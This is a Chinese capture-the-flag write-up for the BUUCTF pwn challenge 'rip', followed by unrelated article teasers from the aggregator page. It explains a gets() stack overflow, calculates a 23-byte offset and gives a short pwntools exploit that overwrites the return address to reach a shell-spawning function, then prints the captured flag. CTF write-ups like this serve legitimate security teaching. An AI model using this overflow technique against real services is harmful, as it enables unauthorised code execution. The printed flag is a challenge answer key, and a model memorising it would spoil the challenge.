BUUCTF(PWN)- rip

news/2024/9/28 17:03:00/文章来源:https://www.cnblogs.com/butt3rf1y/p/18438135

BUUCTF(PWN)- rip

打开题目得到靶机信息: node5.buuoj.cn:29045 和附件 pwn1

查看文件信息为 64-bit ,用 ida 打开附件

首先 shift+f12 查找字符串,能看见 system/bin/sh 字样,点击 please input 或者 ok,bye!!! 跳转

直接进入 main 函数查看

gets 并没有限制输入,gets 函数的缓冲区由用户提供,由于用户无法指定一次能读入多少字节,gets 函数如果没有读到 \n 结束 ,会一直读入数据,没有上限,存在栈溢出漏洞

双击 s 来到 Stack of main 视图,可以计算出只需存入 15 个字节即可劫持函数返回地址

但是后面还有 db 8 dup(?)

db: 定义字节类型变量的伪指令dup(): 重复定义圆括号中指定的初值,次数由前面的数值决定?: 只分配存储空间,不指定初值

所以:偏移量=15+8=23

查找是否有系统调用函数,查看 fun() 函数

fun() 函数就是系统调用函数,起始地址为 0x401186

编写 exp:

from pwn import *p = remote('node5.buuoj.cn', 29045)
payload = b'a' * 23 + p64(0x401186 + 1)
p.sendline(payload)p.interactive()

执行

得到flag{0ba8fba1-e9a0-479a-b193-32fb50f0efe3}

exp编写步骤:

from pwn import *       #引入pwn库p = remote(ip, port)     # 输入对应的ip地址和端口号来连接其他主机的服务......          # 输入payload来进行操作以拿到程序的shell payload一般等于 偏移量 + 地址p.interactive()       # 反弹shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/805271.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Springboot实战——黑马点评之秒杀优化

Springboot实战——黑马点评之 秒杀优化 1 秒杀优化 先来复习以下,秒杀优惠券业务的现有实现逻辑:以上流程图中的操作串行执行,效率极低。 其中 判断秒杀库存 以及 校验一人一单 属于对数据库的读取,耗时较少;扣减库存 以及 创建订单 属于对数据库的写操作,耗时相对较久。…

PARTVI-Oracle数据库管理与开发-数据库管理员的概念

18. 数据库管理员的概念 18.1. 数据库管理员的职责 数据库管理员(DBA)的主要责任是使企业数据对其用户可用。DBA必须与开发人员紧密合作,确保他们的应用程序有效地使用数据库,并与系统管理员合作,确保物理资源充足且使用高效。Oracle DBA负责了解Oracle数据库架构以及数据…

实验作业1

实验一 任务一 源代码#include<stdio.h> int main() {printf(" o \n");printf("<H>\n");printf("I I\n");printf(" o \n");printf("<H>\n");printf("I I\n");return 0; }效果 源代码#incl…

01. 感知层环境安装

1. 软件以及驱动的安装安装ZigBee无线网络节点开发平台 IAR Embedded Workbench(简称EW) 安装串口驱动(CH340芯片)。点击安装64位的。后续就可以使用串口对开发板进行调试。 仿真器驱动程序(用来烧录代码)的安装。 安装串口工具(XCOM)。2. IAR创建工程打开安装的IAR软件,点击…

黑马PM-内容项目-需求分析

需求分析的定义需求分析的时机需求分析的步骤

带笔TP gt9xx调试

一.添加驱动把供应商提供的驱动替换掉sdk里面默认的驱动drivers/input/touchscreen/gt9xx 二.dts配置:&i2c3 {status = "okay";pinctrl-names = "default";pinctrl-0 = <&i2c3m0_xfer>;gt9xx: gt9xx@5d {compatible = "goodix,gt9xx&q…

P3313 [SDOI2014] 旅行

题目思路 为每个宗教维护一个线段数,查询时,树剖时在对应宗教上查询区间即可。 使用动态开点线段树,每次最多新建 \(\log n\) 个节点,不会 MLE。 代码 #include <bits/stdc++.h>#define range 1, 100000using namespace std;const int N = 100010;struct edge {int t…

谷歌网站收录查询,你知道怎么查询谷歌网站的收录情况吗

查询谷歌网站的收录情况,可以通过以下几种方法来实现: 一、使用Google Search Console(谷歌搜索控制台) Google Search Console是谷歌提供的官方工具,用于监控和管理网站在谷歌搜索结果中的表现。以下是具体步骤: 访问并登录:访问Google Search Console官网,并使用谷歌…

谷歌收录批量查询,你知道怎么批量查询谷歌收录

批量查询谷歌收录是一个涉及多个步骤和工具的过程,旨在帮助网站管理员或SEO专业人士快速了解多个网站或页面在谷歌搜索引擎中的收录情况。以下是一些常用的批量查询谷歌收录的方法和步骤: 一、使用Google Search Console(谷歌搜索控制台) 虽然Google Search Console本身不直…

C10-06-Burp简单使用

一 浏览器代理设置免责声明 本文仅是个人对该工具的学习测试过程记录,不具有恶意引导意向。 本文工具仅面向合法授权的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的…

修改网页内容

修改网页内容 控制台输入代码 document.body.isContentEditable=true document.body.isContentEditable=true

青训营 X 豆包MarsCode

如果有人对前端/后端/AI 技术以及字节感兴趣并想系统学习来自大厂课程的话,可以试试青训营!青训营是字节跳动稀土掘金社区发起的技术系列培训 & 人才选拔项目,旨在培养优秀且具有职业竞争力的开发工程师。课程全程免费,不收取任何费用!考核方式:通过发布的刷题任务即…